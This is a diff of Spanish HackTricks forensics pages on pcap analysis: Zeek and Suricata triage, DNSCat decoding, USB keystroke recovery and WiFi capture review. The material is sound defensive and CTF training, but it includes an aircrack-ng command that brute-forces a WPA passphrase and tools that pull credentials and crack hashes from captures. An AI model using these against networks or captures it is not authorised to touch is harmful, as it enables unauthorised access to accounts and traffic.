Luego crea un **nuevo caso**, crea una **nueva sesión** dentro del caso y **sube el archivo pcap**. Luego crea un **nuevo caso**, crea una **nueva sesión** dentro del caso y **sube el archivo pcap**.
@ -79,16 +80,16 @@ Esta herramienta también es útil para obtener **otra información analizada**
### NetWitness Investigator ### NetWitness Investigator
Puedes descargar [**NetWitness Investigator desde aquí**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funciona en Windows)**.\ Puedes descargar [**NetWitness Investigator desde aquí**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funciona en Windows)**.\
Esta es otra herramienta útil que **analiza los paquetes** y ordena la información de una manera útil para **saber qué está sucediendo internamente**. Esta es otra herramienta útil que **analiza los paquetes** y organiza la información de una manera útil para **saber qué está sucediendo dentro**.
### [BruteShark](https://github.com/odedshimon/BruteShark) ### [BruteShark](https://github.com/odedshimon/BruteShark)
* Extracción y codificación de nombres de usuario y contraseñas (HTTP, FTP, Telnet, IMAP, SMTP...) * Extracción y codificación de nombres de usuario y contraseñas (HTTP, FTP, Telnet, IMAP, SMTP...)
* Extraer hash de autenticación y crackearlos usando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) * Extraer hashes de autenticación y crackearlos usando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
* Construir un diagrama visual de red (Nodos de red y usuarios) * Construir un diagrama de red visual (Nodos de red y usuarios)
* Extraer consultas DNS * Extraer consultas DNS
* Reconstruir todas las sesiones TCP y UDP * Reconstruir todas las sesiones TCP y UDP
* Tallado de archivos * File Carving
### Capinfos ### Capinfos
``` ```
@ -96,40 +97,40 @@ capinfos capture.pcap
``` ```
### Ngrep ### Ngrep
Si estás **buscando** algo dentro del pcap, puedes usar **ngrep**. Aquí tienes un ejemplo usando los filtros principales: Si estás **buscando** **algo** dentro del pcap, puedes usar **ngrep**. Aquí hay un ejemplo usando los filtros principales:
```bash ```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
``` ```
### Tallado ### Carving
El uso de técnicas comunes de tallado puede ser útil para extraer archivos e información del pcap: Usar técnicas de carving comunes puede ser útil para extraer archivos e información del pcap:
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} {% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### Captura de credenciales ### Capturando credenciales
Puedes utilizar herramientas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analizar credenciales de un pcap o de una interfaz en vivo. Puedes usar herramientas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analizar credenciales de un pcap o de una interfaz en vivo.
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas. [**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## Verificar Exploits/Malware ## Ver Exploits/Malware
### Suricata ### Suricata
**Instalación y configuración** **Instalar y configurar**
``` ```
apt-get install suricata apt-get install suricata
apt-get install oinkmaster apt-get install oinkmaster
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
``` ```
**Verificar pcap** **Ver pcap**
``` ```
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
``` ```
@ -138,14 +139,14 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) es una herramienta que [**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) es una herramienta que
* Lee un archivo PCAP y extrae flujos Http. * Lee un archivo PCAP y extrae flujos Http.
* Descomprime gzip en cualquier flujo comprimido. * gzip descomprime cualquier flujo comprimido
* Escanea cada archivo con yara. * Escanea cada archivo con yara
* Escribe un reporte.txt. * Escribe un report.txt
* Opcionalmente guarda archivos coincidentes en un directorio. * Opcionalmente guarda archivos coincidentes en un directorio
### Análisis de Malware ### Análisis de Malware
Verifique si puede encontrar alguna huella de un malware conocido: Verifica si puedes encontrar alguna huella de un malware conocido:
{% content-ref url="../malware-analysis.md" %} {% content-ref url="../malware-analysis.md" %}
[malware-analysis.md](../malware-analysis.md) [malware-analysis.md](../malware-analysis.md)
@ -153,9 +154,11 @@ Verifique si puede encontrar alguna huella de un malware conocido:
## Zeek ## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html) es un analizador de tráfico de red pasivo y de código abierto. Muchos operadores utilizan Zeek como un Monitor de Seguridad de Red (NSM) para respaldar investigaciones de actividad sospechosa o maliciosa. Zeek también admite una amplia gama de tareas de análisis de tráfico más allá del dominio de la seguridad, incluida la medición del rendimiento y la solución de problemas. > [Zeek](https://docs.zeek.org/en/master/about.html) es un analizador de tráfico de red pasivo y de código abierto. Muchos operadores utilizan Zeek como un Monitor de Seguridad de Red (NSM) para apoyar investigaciones de actividades sospechosas o maliciosas. Zeek también soporta una amplia gama de tareas de análisis de tráfico más allá del dominio de la seguridad, incluyendo medición de rendimiento y solución de problemas.
Básicamente, los registros creados por `zeek` no son **pcaps**. Por lo tanto, necesitarás usar **otras herramientas** para analizar los registros donde se encuentra la **información** sobre los pcaps. Básicamente, los registros creados por `zeek` no son **pcaps**. Por lo tanto, necesitarás usar **otras herramientas** para analizar los registros donde se encuentra la **información** sobre los pcaps.
### Información de Conexiones
```bash ```bash
#Get info about longest connections (add "grep udp" to see only udp traffic) #Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?) #The longest connection might be of malware (constant reverse shell?)
@ -205,7 +208,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
``` ```
### Información de DNS ### Información DNS
```bash ```bash
#Get info about each DNS request performed #Get info about each DNS request performed
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
@ -240,20 +243,21 @@ rita show-exploded-dns -H --limit 10 zeek_logs
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de la tecnología y ciberseguridad en todas las disciplinas. [**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Análisis de pcap de DNSCat # Análisis de pcap de DNSCat
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. Su objetivo principal de WhiteIntel es combatir el robo de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de forma **gratuita** en: Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
@ -56,16 +57,17 @@ Hay un script que funciona con Python3: [https://github.com/josemlwdf/DNScat-Dec
``` ```
python3 dnscat_decoder.py sample.pcap bad_domain python3 dnscat_decoder.py sample.pcap bad_domain
``` ```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,43 +1,45 @@
# Pulsaciones de teclas USB # USB Keystrokes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
Si tienes un archivo pcap que contiene la comunicación a través de USB de un teclado como el siguiente: Si tienes un pcap que contiene la comunicación a través de USB de un teclado como el siguiente:
![](<../../../.gitbook/assets/image (962).png>) ![](<../../../.gitbook/assets/image (962).png>)
Puedes utilizar la herramienta [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) para obtener lo que se escribió en la comunicación: Puedes usar la herramienta [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) para obtener lo que se escribió en la comunicación:
```bash ```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt
``` ```
Puedes encontrar más información y algunos scripts sobre cómo analizar esto en: Puedes leer más información y encontrar algunos scripts sobre cómo analizar esto en:
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup) * [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Análisis de Wifi Pcap # Análisis de Pcap Wifi
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Verificar BSSIDs ## Verificar BSSIDs
Cuando recibes una captura cuyo tráfico principal es Wifi utilizando WireShark, puedes comenzar investigando todos los SSIDs de la captura con _Wireless --> WLAN Traffic_: Cuando recibas una captura cuyo tráfico principal es Wifi usando WireShark, puedes comenzar a investigar todos los SSIDs de la captura con _Wireless --> WLAN Traffic_:
![](<../../../.gitbook/assets/image (106).png>) ![](<../../../.gitbook/assets/image (106).png>)
@ -24,13 +25,15 @@ Cuando recibes una captura cuyo tráfico principal es Wifi utilizando WireShark,
### Fuerza Bruta ### Fuerza Bruta
Una de las columnas de esa pantalla indica si se encontró **alguna autenticación dentro del pcap**. Si ese es el caso, puedes intentar realizar un ataque de fuerza bruta utilizando `aircrack-ng`: Una de las columnas de esa pantalla indica si **se encontró alguna autenticación dentro del pcap**. Si ese es el caso, puedes intentar forzarla usando `aircrack-ng`:
```bash ```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
``` ```
## Datos en Beacons / Canal Lateral Por ejemplo, recuperará la frase de paso WPA que protege una PSK (clave precompartida), que será necesaria para descifrar el tráfico más tarde.
Si sospechas que **los datos se están filtrando dentro de los beacons de una red Wifi**, puedes verificar los beacons de la red usando un filtro como el siguiente: `wlan contains <NOMBREdeRED>`, o `wlan.ssid == "NOMBREdeRED"` busca dentro de los paquetes filtrados cadenas sospechosas. ## Datos en Beacons / Canal Secundario
Si sospechas que **se están filtrando datos dentro de los beacons de una red Wifi**, puedes revisar los beacons de la red utilizando un filtro como el siguiente: `wlan contains <NAMEofNETWORK>`, o `wlan.ssid == "NAMEofNETWORK"` busca dentro de los paquetes filtrados cadenas sospechosas.
## Encontrar Direcciones MAC Desconocidas en una Red Wifi ## Encontrar Direcciones MAC Desconocidas en una Red Wifi
@ -38,26 +41,27 @@ El siguiente enlace será útil para encontrar las **máquinas que envían datos
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
Si ya conoces las **direcciones MAC, puedes eliminarlas del resultado** agregando comprobaciones como esta: `&& !(wlan.addr==5c:51:88:31:a0:3b)` Si ya conoces **direcciones MAC, puedes eliminarlas de la salida** añadiendo comprobaciones como esta: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
Una vez que hayas detectado **direcciones MAC desconocidas** comunicándose dentro de la red, puedes usar **filtros** como el siguiente: `wlan.addr==<dirección MAC> && (ftp || http || ssh || telnet)` para filtrar su tráfico. Ten en cuenta que los filtros ftp/http/ssh/telnet son útiles si has descifrado el tráfico. Una vez que hayas detectado **direcciones MAC desconocidas** comunicándose dentro de la red, puedes usar **filtros** como el siguiente: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)` para filtrar su tráfico. Ten en cuenta que los filtros ftp/http/ssh/telnet son útiles si has descifrado el tráfico.
## Descifrar Tráfico ## Desencriptar Tráfico
Editar --> Preferencias --> Protocolos --> IEEE 802.11 --> Editar Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
![](<../../../.gitbook/assets/image (499).png>) ![](<../../../.gitbook/assets/image (499).png>)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
